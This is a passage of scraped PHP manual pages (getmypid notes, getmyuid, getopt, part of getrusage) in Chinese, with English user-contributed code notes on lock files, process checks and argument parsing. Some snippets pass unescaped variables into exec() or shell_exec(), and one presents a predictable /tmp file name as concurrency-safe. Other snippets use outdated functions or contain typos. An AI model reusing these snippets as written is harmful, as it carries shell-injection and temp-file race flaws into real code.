For locks you need an atomic way of verifying if a lock file exists and creating it if it doesn't exist. Between file_exists and file_put_contents, another process could be faster than us to write the lock.

The only filesystem operation that matches the above requirements that I know of is symlink().

Thus, if you need a lock-file mechanism, here's the code. This won't work on a system without /proc (so there go Windows, BSD, OS X, and possibly others), but it can be adapted to work around that deficiency (say, by linking to your pid file like in my script, then operating through the symlink like in Kevin's solution).

#!/usr/bin/php
<?php

define('LOCK_FILE', "/var/run/" . basename($argv[0], ".php") . ".lock");

if (!tryLock())
    die("Already running.\n");

# remove the lock on exit (Control+C doesn't count as 'exit'?)
register_shutdown_function('unlink', LOCK_FILE);

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

exit(0);

function tryLock()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if (@symlink("/proc/" . getmypid(), LOCK_FILE) !== FALSE) # the @ in front of 'symlink' is to suppress the NOTICE you get if the LOCK_FILE exists
        return true;

    # link already exists
    # check if it's stale
    if (is_link(LOCK_FILE) && !is_dir(LOCK_FILE))
    {
        unlink(LOCK_FILE);
        # try to lock again
        return tryLock();
    }

    return false;
}
?>
eight_hf at live dot fr 07-Jul-2012 12:19
On Linux you can check if a process is still running by verifying if the PID exists in the /proc directory :

<?php
if(file_exists('/proc/'.$pid))
{
    echo 'The process is still running.';
}
?>
pdc at example dot com 29-Dec-2011 12:50
Here is how you'd use exec on a posix system to accomplish counting processes quickly.

I want to know how many processes are running with 'update.php' in the command:

ps aux|grep "[u]pdate.php"|wc -l

(the trick of using [u]pdate.php instead of update.php makes sure that the grep command itself is not matched).  Be sure to use quotes in the command, or it won't work either.

So, the code:

<?php
function countProcesses($scriptName)
{
    // ps aux|grep "[u]pdate.php"|wc -l
    $first    =    substr($scriptName, 0, 1);
    $rest    =    substr($scriptName, 1);

    $name    =    '"['.$first.']'.$rest.'"';
    $cmd    =    "ps aux | grep $name | wc -l";

    $result    =    exec($cmd);

    return $result;
}
?>
wouter99999 at gmail dot com 05-Jun-2011 03:03
On windows, ps is not available. Instead, to view a list of running processes, you can use exec('tasklist'); To kill processes you can use exec('taskkill); Enter taskkill /? for more information.
Robert Mays Jr 04-May-2011 09:39
All of the examples above require you to have shell command execution turned on- this example uses only PHP functions and should work on any system (posix is included by default)-

the key is posix_getsid which will return FALSE if the processes does not exist.

<?php
$lockfile = sys_get_temp_dir() . '/myScript.lock';
$pid = file_get_contents($lockfile);
if (posix_getsid($pid) === false) {
   print "process has died! restarting...\n";
   file_put_contents($lockfile, getmypid()); // create lockfile
} else {
   print "PID is still alive! can not run twice!\n";
   exit;
}
?>

:-) perfect if you need to make sure a cron job or shell script has ended before it can be started again.

This works across users- if the cron job is started as 'root' your 'web user' can see if the process is still alive (useful for system status pages)
gabe at fijiwebdesign dot com 02-Feb-2010 09:53
Based on what james at voodoo dot co dot uk said, but modified for CLI scripts (ie: there is no $_SERVER).

<?php

/**
 * Check for a current process by filename
 * @param $file[optional] Filename
 * @return Boolean
 */
function processExists($file = false) {

    $exists     = false;
    $file       = $file ? $file : __FILE__;

    // Check if file is in process list
    exec("ps -C $file -o pid=", $pids);
    if (count($pids) > 1) {
        $exists = true;
    }
    return $exists;
}

?>
james at voodoo dot co dot uk 25-Dec-2009 01:50
The 'ps' command has an option that can make filtering for a specific process more efficient.  Using this the work of looking for matching processes can be made neater:

<?php
    /*
    Return an array of the pids of the processes that are running for the specific command
    e.g.
        returnPids('myprocess.php');
    */
    function returnPids($command) {
        exec("ps -C $command -o pid=",$pids);
        foreach ($pids as $key=>$value) $pids[$key]=trim($value);
        return $pids;
    }

    /*
    Returns an array of the pids for processes that are like me, i.e. my program running
    */
    function returnMyPids() {
        return returnPids(basename($_SERVER["SCRIPT_NAME"]));
    }
?>

e.g. to bomb out if I'm running already

if (count(returnMyPids())>1) exit;
Erickson Reyes ercbluemonday at yahoo dot com 10-Nov-2009 05:01
We also had this challenge in our company to prevent a php script in a cron job from overlapping each other.

We made this solution

<?php
        // Initialize variables
    $found            = 0;
    $file                 = basename(__FILE__);
    $commands    = array();

        // Get running processes.
    exec("ps w", $commands);

        // If processes are found
    if (count($commands) > 0) {

        foreach ($commands as $command) {
            if (strpos($command, $file) === false) {
                               // Do nothin'
            }
            else {
                               // Let's count how many times the file is found.
                $found++;
            }
        }
    }

        // If the instance of the file is found more than once.
    if ($found > 1) {
        echo "Another process is running.\n";
        die();
    }

        /**
        *
        * Regular process here...
        *
        */
?>
Kevin Traas (ktraas- at -gmail dot com) 25-Sep-2009 01:51
Looking to create a lock-file mechanism for a cmd-line script?

Enjoy!

#!/usr/bin/php
<?php

define( 'LOCK_FILE', "/var/run/".basename( $argv[0], ".php" ).".lock" );
if( isLocked() ) die( "Already running.\n" );

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

unlink( LOCK_FILE );
exit(0);

function isLocked()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if( file_exists( LOCK_FILE ) )
    {
        # check if it's stale
        $lockingPID = trim( file_get_contents( LOCK_FILE ) );

       # Get all active PIDs.
        $pids = explode( "\n", trim( `ps -e | awk '{print $1}'` ) );

        # If PID is still active, return true
        if( in_array( $lockingPID, $pids ) )  return true;

        # Lock-file is stale, so kill it.  Then move on to re-creating it.
        echo "Removing stale lock file.\n";
        unlink( LOCK_FILE );
    }

    file_put_contents( LOCK_FILE, getmypid() . "\n" );
    return false;

}
?>
kroczu at interia dot pl 19-Dec-2005 04:59
<?php
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
    [USER] => user
    [PID] => 12345
    [%CPU] => 0.0
    [%MEM] => 0.0
    [VSZ] => 1720
    [RSS] => 8
    [TT] => ??
    [STAT] => Is
    [STARTED] => 6:00PM
    [TIME] => 0:00.01
    [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
      trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
      return false;
   }

   foreach($ps as $key=>$val){
      $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
      $pidinfo[$val] = $ps[1][$key];
      unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
      $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP 21-Mar-2005 02:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net 24-Oct-2003 05:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

<?php
$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);
?>

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.


获取 PHP 脚本所有者的 UID

  • ? getmypid
  • getopt ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取 PHP 脚本所有者的 UID

getmyuid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyuid — 获取 PHP 脚本所有者的 UID

说明

getmyuid(): int|false

获取当前脚本的用户 ID。

参数

此函数没有参数。

返回值

返回当前脚本的用户 ID，或在错误时返回 false。

参见

  • getmygid() - 获取当前 PHP 脚本拥有者的 GID
  • getmypid() - 获取 PHP 进程的 ID
  • get_current_user() - 获取当前 PHP 脚本所有者名称
  • getmyinode() - 获取当前脚本的索引节点（inode）
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

divinity76+spam at gmail dot com 14-Jan-2022 11:10
warning, at least 7.4-8.1 returns the owner of the initial entrypoint file rather the currently executing file,
meaning, if you have a.php owned by 1 containing
<?php var_dump(getmyuid());require_once("b.php"); ?>
and b.php owned by 2 containing
<?php var_dump(getmyuid());require_once("a.php"); ?>
running "php a.php" will get you int(1) int(1), and running "php b.php" will get you int(2) int(2), you won't get "int(1) int(2)"
bozo_z_clown at yahoo dot com 20-Jun-2007 11:06
Note that this function really does what the description says, it returns the numeric user id of the user who *owns the file* containing the current script not the effective user id of user *running* the current script.  Most applications will want the latter which is provided by posix_getuid().


从命令行参数列表中获取选项

  • ? getmyuid
  • getrusage ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 从命令行参数列表中获取选项

getopt

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

getopt — 从命令行参数列表中获取选项

说明

getopt(string $short_options, array $long_options = [], int &$rest_index = null): array|false

解析传入脚本的选项。

参数

short_options
该字符串中的每个字符会被当做选项字符，匹配传入脚本的选项以单个连字符 (-) 开头。 比如，一个选项字符串 "x" 识别了一个选项 -x。 只允许 a-z、A-Z 和 0-9。
long_options
选项数组。此数组中的每个元素会被作为选项字符串，匹配了以两个连字符 (--) 传入到脚本的选项。 例如，长选项元素 "opt" 识别了一个选项 --opt。
rest_index
如果传递了 rest_index 参数，那么参数解析停止时的索引，将被赋值给此变量。

short_options 可能包含了以下元素：

  • 单独的字符（不接受值）
  • 后面跟随冒号的字符（此选项需要值）
  • 后面跟随两个冒号的字符（此选项的值可选）
选项的值是字符串后的第一个参数。如果需要一个值，它不介意值之前是否有前置的空格，参见以下内容。

Note: 选项的值不接受空格（" "）作为分隔符。

long_options 数组可能包含了以下元素：

  • 字符串（参数不接受任何值）
  • 后面跟随冒号的字符串（此选项需要值）
  • 后面跟随两个冒号的字符串（此选项的值可选）

Note:

short_options 和 long_options 的格式几乎是一样的，唯一的不同之处是 long_options 需要是选项的数组（每个元素为一个选项），而 short_options 需要一个字符串（每个字符是个选项）。

返回值

此函数会返回选项/参数对， 或者在失败时返回 false。

Note:

选项的解析会终止于找到的第一个非选项，之后的任何东西都会被丢弃。

更新日志

版本 | 说明
7.1.0 | 添加 rest_index 参数。

示例

Example #1 getopt() 示例：基本用法

<?php
// Script example.php
$options = getopt("f:hp:");
var_dump($options);
?>
shell> php example.php -fvalue -h

以上示例会输出：

array(2) {
  ["f"]=>
  string(5) "value"
  ["h"]=>
  bool(false)
}

Example #2 getopt() 示例：引入长选项

<?php
// Script example.php
$shortopts = "";
$shortopts .= "f:"; // Required value
$shortopts .= "v::"; // Optional value
$shortopts .= "abc"; // These options do not accept values

$longopts = array(
"required:", // Required value
"optional::", // Optional value
"option", // No value
"opt", // No value
);
$options = getopt($shortopts, $longopts);
var_dump($options);
?>
shell> php example.php -f "value for f" -v -a --required value --optional="optional value" --option

以上示例会输出：

array(6) {
  ["f"]=>
  string(11) "value for f"
  ["v"]=>
  bool(false)
  ["a"]=>
  bool(false)
  ["required"]=>
  string(5) "value"
  ["optional"]=>
  string(14) "optional value"
  ["option"]=>
  bool(false)
}

Example #3 getopt() 示例：传递同一多个选项

<?php
// Script example.php
$options = getopt("abc");
var_dump($options);
?>
shell> php example.php -aaac

以上示例会输出：

array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
    [2]=>
    bool(false)
  }
  ["c"]=>
  bool(false)
}

Example #4 getopt() 示例：使用 rest_index

<?php
// Script example.php
$rest_index = null;
$opts = getopt('a:b:', [], $rest_index);
$pos_args = array_slice($argv, $rest_index);
var_dump($pos_args);
shell> php example.php -a 1 -b 2 -- test

以上示例会输出：

array(1) {
  [0]=>
  string(4) "test"
}

参见

  • $argv

User Contributed Notes

S2 26-Jul-2022 04:55
As noted the options not required or optional (parameter does not accept any value) only returns the index key with a value of FALSE when provided as an argument. That is counter-intuitive to how the option will likely be used, so simply leverage the keys existence and reset the variable's index for that option:

<?php
$options = getopt('', ['update', 'insert']);
$options['update'] = array_key_exists('update', $options);
$options['insert'] = array_key_exists('insert', $options);

var_dump($options);
?>

shell> php testfile.php --insert

array(2) {
  ["update"]=>
  bool(false)
  ["insert"]=>
  bool(true)
}
Dominik Deobald 26-Jan-2022 01:51
This documentation never really explains the logic behind $short_options and just expects that you get it from reading the examples.

So if you are like me and start to think that the order of letters between the ":" characters has anything to say, think simpler.

It really is...
- every letter in the string will be allowed as a parameter,
- if that letter has ONE colon after it, then it will require a value
- if it has TWO colons, then it can accept a value
- the order of the letters does not matter at all as long as the colons are where they belong.

That means that these two examples are the same: "ab::c:def:" <-> "adec:f:b::"
edg at Greenberg dot org 12-Aug-2021 12:22
> This function will return an array of option / argument pairs, or false on failure.

I note that on my PHP 7.4 installation, getopt returns an empty array for no options specified, not FALSE as the doc states.  Although "failure" is rather non-specific.  Maybe that doesn't include the condition of no options.
gingko at gingko dot ovh 20-May-2021 12:38
Unfortunately, even using Example #4 do not allow to easily detect a bad -x or --xx argument as the last -x or --xx is always "eaten" even if it is bad:

If I use this (Example #4) :
<?php
// Script example.php
$rest_index = null;
$opts = getopt('a:b:', [], $rest_index);
$pos_args = array_slice($argv, $rest_index);
var_dump($pos_args);
?>

shell> php example.php -a 1 -b 2
shell> php example.php -a 1 -b 2 --test
shell> php example.php -a 1 -tb 2

All return the same result (-t and --test not defined) :

array(0) {
}

(last one use combining single letters, making user testing much much more complicated)
taka8aru at gmail dot com 20-Jun-2020 08:40
getopt() simply ignores unnecessary options specified in argv.
Many times, it does not work well to handle errors in command line.

A package PEAR::Console_Getopt can handle this problem, but it requires additonal installation.
GNU getopt(1) does well at shell level.

Following is my extended getopt() can detect unnecessary options:

<?php
function getoptex($sopt, $lopt, &$ind)
{
    global $argv, $argc;

    $sopts = getopt($sopt, $lopt);
    $sopts_cnt = count($sopts); // single-option count based on original sopt

    $asopt = $sopt . implode("", range("a", "z")) . implode("", range("A", "Z")) . implode("", range("0", "9"));
    $asopts = getopt($asopt, $lopt);
    $asopts_cnt = count($asopts); // actual single-option count including all single options even if is not listed as sopt

    $lopt_trim = array();
    foreach ($lopt as $o) {
        $lopt_trim[] = trim($o, ":");
    }
    $alopts_cnt = 0;
    $alopts_flag = true;
    for ($i = 1; $i < $argc; $i++) {
        if ($argv[$i] === "--") { // end of option
            break;
        }
        if (strpos($argv[$i], "--") === 0) { // actual long-option
            $alopts_cnt++;
            $o = substr($argv[$i], 2);
            if (! in_array($o, $lopt_trim)) { // but it is not listed as lopt
                $alopts_flag = false;
            } else {
                if (in_array(($o . ":"), $lopt)) { // if the option requires value
                    $i++; // assume next is the value
                    if ($i >= $argc) { // and the value is missing
                        $alopts_flag = false;
                        break;
                    }
                }
            }
        }
    }

    //var_dump($sopts, $asopts, $lopts, $alopts_cnt, $alopts_flag);
    if ($sopts_cnt != $asopts_cnt || (! $alopts_flag)) {
        return false;
    } else {
        return getopt($sopt, $lopt, $ind);
    }
}
?>
rastyazhenko dot anton at gmail dot com 29-Dec-2019 03:14
$opts = getopt('', $params = ['ogrn:','inn:','kpp::','host:','port:','user:','pass:','path:','pattern:']) + ['kpp' => 0,'port' => 21,'path' => '/','pattern' => '.+\.dbf'];

array_map(function ($param) use ($opts) {
    $matches = [];
    if ((bool)preg_match('/(?<param>[^:\s]+)\b:$/sU', $param, $matches)
        && (!array_key_exists($matches['param'], $opts) || empty($opts[$matches['param']])))
        die(sprintf('<prtg><error>1</error><text>%s not set</text></text></error></prtg>', $matches['param']));
}, $params);
Sane Guy 17-Sep-2018 12:40
Be sure to wrap your head around this PHP jewel that took me a while to comprehend:

The returned array will contain a boolean FALSE for options that HAVE been specified.

Because why use TRUE to indicate "yes, it's there" when you can also use FALSE for that purpose, right? This is completely counter-intuitive and is most certainly only ever possible in PHP-land.
Matt 24-May-2018 03:35
Beware, this function can be dangerous for options following arguments when, for example, you make use of a --dry-run option, due to this behaviour:

"Note: The parsing of options will end at the first non-option found, anything that follows is discarded."

My script was doing a live run even though I specified --dry-run as the last part of the command like this `php foo.php arg1 --dry-run`: getopt() did NOT include dry-run in its list of options resulting in my script executing a live run.
salimzadehsajad at gmail dot com 02-Sep-2017 05:16
if you use command like below
    php [filename] [argument without (-) ] [options]
getopt don't return value. you can use this function

function getoptions() {
    global $argv,$argc;
    $options = array();
    for($i = 0;$i < $argc;$i++) {
        $arg = $argv[$i];
        if(strlen($arg) > 1 && $arg[0] == '-') {
            if($arg[1] == '-' && $i + 1 < $argc) { $i++; $options[substr($arg,2,strlen($arg))] = $argv[$i]; }
            else $options[$arg[1]] = substr($arg,2,strlen($arg));
        }
    }
    return $options;
}
wouter dot berben at phpro dot be 10-Jan-2017 10:37
Your description on getopt is either wrong or the documentation of the function is wrong.

-- snippet --
array getopt ( string $options [, array $longopts [, int &$optind ]] )
--

As I read this only the first parameter string $options is required.

-- snippet --
longopts
An array of options. Each ...

optind
If the optind parameter is present, ...
--

This means that "longopts" is optional, but the third parameter "optind" is required (although the description leaves room for interpretation). This is against the possibilities of PHP because when a parameter is declared optional all following parameters must be declared optional as well.

See http://php.net/manual/en/functions.arguments.php Example #4 and #5.

The immutable embedded stub (PHPStorm) [ https://github.com/JetBrains/phpstorm-stubs/blob/master/standard/standard_3.php ] specifies this:
-- snippet --
function getopt ($options, array $longopts = null, &$optind) {}
--

Which is also wrong, but probably based upon this documentation.
micropresident at gmail dot com 12-Apr-2016 01:21
when using -f option to indicate script name, php does not allow to use double dash -- to define options after the script name;

For example, the following command  cannot be execute:
php -f myscript.php --config "myconfig.ini"
housni dot yakoob at NOSPAM dot gmail dot com 17-Jun-2015 11:14
To elaborate on what 'ch1902' said, there certainly are instances where you may need to execute a script via CLI and the HTTP protocol. In such an instance, you can normalize how your script parses via CLI (using getopt()) as well as via HTTP (using $_GET) with the following simplified code:

<?php
// PHP 5.4+ only due to the new array brace style.
function request(array $options = []) {
    // Set the default values.
    $defaults = [
        'params' => '',
        'os' => '',
        'username' => posix_getpwuid(posix_geteuid())['name'],
        'env' => ''
    ];
    $options += $defaults;

    // Sufficient enough check for CLI.
    if ('cli' === PHP_SAPI) {
        return getopt('', ['params:', 'os::', 'username::', 'env::']) + $options;
    }
    return $_GET + $options;
}

print_r(request());
?>

The above code would yield the results below when access via CLI and HTTP.

/**
 * params = foo/bar
 * username = housni.yakoob
 */
// CLI
$ php script.php --params=foo/bar --username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

// HTTP
script.php?params=foo/bar&username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

/**
 * params = foo/bar
 * username = Not provided, therefore, the default value will be used.
 */
// CLI
$ whoami && php script.php --params=foo/bar
housni // <-- Current users usersname (output of `whoami`).
Array
(
    [params] => foo/bar
    [os] =>
    [username] => housni
    [env] =>
)

// HTTP
script.php?params=foo/bar
Array
(
    [params] => foo/bar
    [os] =>
    // The username of my Apache user, the result of posix_getpwuid(posix_geteuid())['name']
    [username] => www-data
    [env] =>
)

As you can see, the output is consistent when the script is executed via the CLI or the web.
takingsides at gmail dot com 09-Mar-2014 03:16
As already mentioned getopt() will stop parsing options upon the '--'.  Sometimes you will have options and arguments but the user may not always provide the explicit -- option.

Below is a quick way to collect options and arguments regardless of the -- consistently.

#!/usr/bin/php
<?php

$options = getopt('hl::m:v:a', [
    'help',
    'list::',
    'module:',
    'version:',
    'all',
]);

var_dump( $options );

$args = array_search('--', $argv);
$args = array_splice($argv, $args ? ++$args : (count($argv) - count($opt)));

var_dump( $args );
?>
ch1902 18-Aug-2013 03:37
Sometimes you will want to run a script from both the command line and as a web page, for example to debug with better output or a command line version that writes an image to the system but a web version that prints the image in the browser. You can use this function to get the same options whether passed as command line arguments or as $_REQUEST values.

<?php
/**
 * Get options from the command line or web request
 *
 * @param string $options
 * @param array $longopts
 * @return array
 */
function getoptreq ($options, $longopts)
{
   if (PHP_SAPI === 'cli' || empty($_SERVER['REMOTE_ADDR']))  // command line
   {
      return getopt($options, $longopts);
   }
   else if (isset($_REQUEST))  // web script
   {
      $found = array();

      $shortopts = preg_split('@([a-z0-9][:]{0,2})@i', $options, 0, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
      $opts = array_merge($shortopts, $longopts);

      foreach ($opts as $opt)
      {
         if (substr($opt, -2) === '::')  // optional
         {
            $key = substr($opt, 0, -2);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
            else if (isset($_REQUEST[$key]))
               $found[$key] = false;
         }
         else if (substr($opt, -1) === ':')  // required value
         {
            $key = substr($opt, 0, -1);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
         }
         else if (ctype_alnum($opt))  // no value
         {
            if (isset($_REQUEST[$opt]))
               $found[$opt] = false;
         }
      }

      return $found;
   }

   return false;
}
?>

Example

<?php
// php script.php -a -c=XXX -e=YYY -f --two --four=ZZZ --five=5
// script.php?a&c=XXX&e=YYY&f&two&four=ZZZ&five=5

$opts = getoptreq('abc:d:e::f::', array('one', 'two', 'three:', 'four:', 'five::'));

var_dump($opts);

/**
array(7) {
  'a' => bool(false)
  'c' => string(3) "XXX"
  'e' => string(3) "YYY"
  'f' => bool(false)
  'two' => bool(false)
  'four' => string(3) "ZZZ"
  'five' => string(1) "5"
}
*/
?>
Anonymous 02-Feb-2011 04:33
getopt() only returns the options specified if they were listed in the options.

So you cant make a switch() use default: to complain of an unknown option. :(
mpartap at gmx dot net 24-Oct-2010 01:39
Here's another way of removing options found by getopt() from the argv[] array. It handles the different kind of parameters without eating chunks that do not belong to an --option. (-nr foo param1 param2 foo)
<?php
$parameters = array(
  'n' => 'noparam',
  'r:' => 'required:',
  'o::' => 'optional::',
);

$options = getopt(implode('', array_keys($parameters)), $parameters);
$pruneargv = array();
foreach ($options as $option => $value) {
  foreach ($argv as $key => $chunk) {
    $regex = '/^'. (isset($option[1]) ? '--' : '-') . $option . '/';
    if ($chunk == $value && $argv[$key-1][0] == '-' || preg_match($regex, $chunk)) {
      array_push($pruneargv, $key);
    }
  }
}
while ($key = array_pop($pruneargv)) unset($argv[$key]);
?>
geoff at gosquared dot com 08-May-2010 05:05
It seems under PHP 5.3.2, getopt() makes a script fail to load if called via HTTP without any conditions. You'll need something like if(isset($_SERVER['argc'])) $args = getopt(); to prevent that.
mbirth at webwriters dot de 24-May-2008 01:41
After getopt() of PHP5.3.0 (on Windows) ignored some parameters if there was a syntactical problem, I decided to code my own generic parameter parser.

<?php
    /**
     * Parses $GLOBALS['argv'] for parameters and assigns them to an array.
     *
     * Supports:
     * -e
     * -e <value>
     * --long-param
     * --long-param=<value>
     * --long-param <value>
     * <value>
     *
     * @param array $noopt List of parameters without values
     */
    function parseParameters($noopt = array()) {
        $result = array();
        $params = $GLOBALS['argv'];
        // could use getopt() here (since PHP 5.3.0), but it doesn't work relyingly
        reset($params);
        while (list($tmp, $p) = each($params)) {
            if ($p{0} == '-') {
                $pname = substr($p, 1);
                $value = true;
                if ($pname{0} == '-') {
                    // long-opt (--<param>)
                    $pname = substr($pname, 1);
                    if (strpos($p, '=') !== false) {
                        // value specified inline (--<param>=<value>)
                        list($pname, $value) = explode('=', substr($p, 2), 2);
                    }
                }
                // check if next parameter is a descriptor or a value
                $nextparm = current($params);
                if (!in_array($pname, $noopt) && $value === true && $nextparm !== false && $nextparm{0} != '-') list($tmp, $value) = each($params);
                $result[$pname] = $value;
            } else {
                // param doesn't belong to any option
                $result[] = $p;
            }
        }
        return $result;
    }
?>

A call like: php.exe -f test.php -- alfons -a 1 -b2 -c --d 2 --e=3=4 --f "alber t" hans wurst

and an in-program call parseParameters(array('f')); would yield in a resulting array:

Array
(
    [0] => alfons
    [a] => 1
    [b2] => 1
    [c] => 1
    [d] => 2
    [e] => 3=4
    [f] => 1
    [1] => alber t
    [2] => hans
    [3] => wurst
)

As you can see, values without an identifier are stored with numeric indexes. Existing identifiers without values get "true".
uberlinuxguy at tulg dot org 25-Apr-2008 01:26
One thing of important note would be that getopt() actually respects the '--' option to end an option list.  Thus given the code:

test.php:
<?php
    $options = getopt("m:g:h:");
    if (!is_array($options) ) {
        print "There was a problem reading in the options.\n\n";
        exit(1);
    }
    $errors = array();
    print_r($options);
?>

And running:

# ./test.php ./run_vfs  -h test1 -g test2 -m test3 -- this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => test3
)

Whereas running:
# /test.php ./run_vfs  -h test1 -g test2 -m test3 this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => Array
        (
            [0] => test3
            [1] => green
        )

)
Francois Hill 19-Nov-2007 12:44
Although very interesting, koenbollen at gnospamail dot com's update of the argv array fails when option values follow the option with no space :
Indeed
    php MyScript.php5 -t5
and
    php MyScript.php5 -t 5
with $options="t:" are treated as the same by getopt.

This upgraded function should take care of it :

File : shift_test.php5
<?php
    function shift($options_array)
    {
        foreach( $options_array as $o => $a )
        {
            // Look for all occurrences of option in argv and remove if found :
            // ----------------------------------------------------------------
            // Look for occurrences of -o (simple option with no value) or -o<val> (no space in between):
            while($k=array_search("-".$o.$a,$GLOBALS['argv']))
            {    // If found remove from argv:
                if($k)
                    unset($GLOBALS['argv'][$k]);
            }
            // Look for remaining occurrences of -o <val> (space in between):
            while($k=array_search("-".$o,$GLOBALS['argv']))
            {    // If found remove both option and value from argv:
                if($k)
                {    unset($GLOBALS['argv'][$k]);
                    unset($GLOBALS['argv'][$k+1]);
                }
            }
        }
        // Reindex :
        $GLOBALS['argv']=array_merge($GLOBALS['argv']);
    }

    print_r($argv);
    $options_array=getopt('t:h');
    shift($options_array);
    print_r($argv);
?>

>php shift_test.php5 -h -t4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t4
    [3] => param1
    [4] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)

>php shift_test.php5 -h -t 4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t
    [3] => 4
    [4] => param1
    [5] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)
Damien B. 07-Nov-2007 10:47
This is how I handle arguments with getopt: I use switch within a foreach at the beginning of a program.

<?php

$opts = getopt('hs:');

// Handle command line arguments
foreach (array_keys($opts) as $opt) switch ($opt) {
  case 's':
    // Do something with s parameter
    $something = $opts['s'];
    break;

  case 'h':
    print_help_message();
    exit(1);
}

print "$something\n";

?>
koenbollen at gnospamail dot com 29-Mar-2007 12:51
After you use the getopt function you can use the following script to update the $argv array:
<?php
  $options = "c:ho:s:t:uvV";
  $opts = getopt( $options );
  foreach( $opts as $o => $a )
  {
    while( $k = array_search( "-" . $o, $argv ) )
    {
      if( $k )
        unset( $argv[$k] );
      if( preg_match( "/^.*".$o.":.*$/i", $options ) )
        unset( $argv[$k+1] );
    }
  }
  $argv = array_merge( $argv );
?>
Note: I used the array_merge function to reindex the array's keys.

Cheers, Koen Bollen
17-Jan-2007 11:59
About getopt(String):
 Parses the command-line arguments into an associative array, using the function's String parameter to specify arguments and options, thus:
* arguments are specified as any letter followed by a colon, e.g. "h:".
* arguments are returned as "h" => "value".
* options are specified as any letter not followed by a colon, e.g. "r".
* options are returned as "r" => (boolean) false.

Also note that:
1) Options or arguments not passed in the command-line parameters are not set in the returned associative array.
2) Options or arguments present in the command-line arguments multiple times are returned as an enumerated array within the returned associative array.
joey at alegria dot co dot jp 30-Apr-2006 09:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
chris at tiny dot net 23-Apr-2004 07:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
    [f] => a
)
$ opt.php -f 'a b c'
Array
(
    [f] => a b c
)
$ opt.php -f "a b c"
Array
(
    [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
    [f] => a b c
)
$


获取当前资源使用状况

  • ? getopt
  • ini_alter ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前资源使用状况

getrusage

(PHP 4, PHP 5, PHP 7, PHP 8)

getrusage — 获取当前资源使用状况

说明

getrusage(int $mode = 0): array|false

这是 getrusage(2) 的接口。它返回了调用自系统的数据。

参数

mode

如果 mode 是 1，getrusage 会使用 RUSAGE_CHILDREN 来调用。

返回值

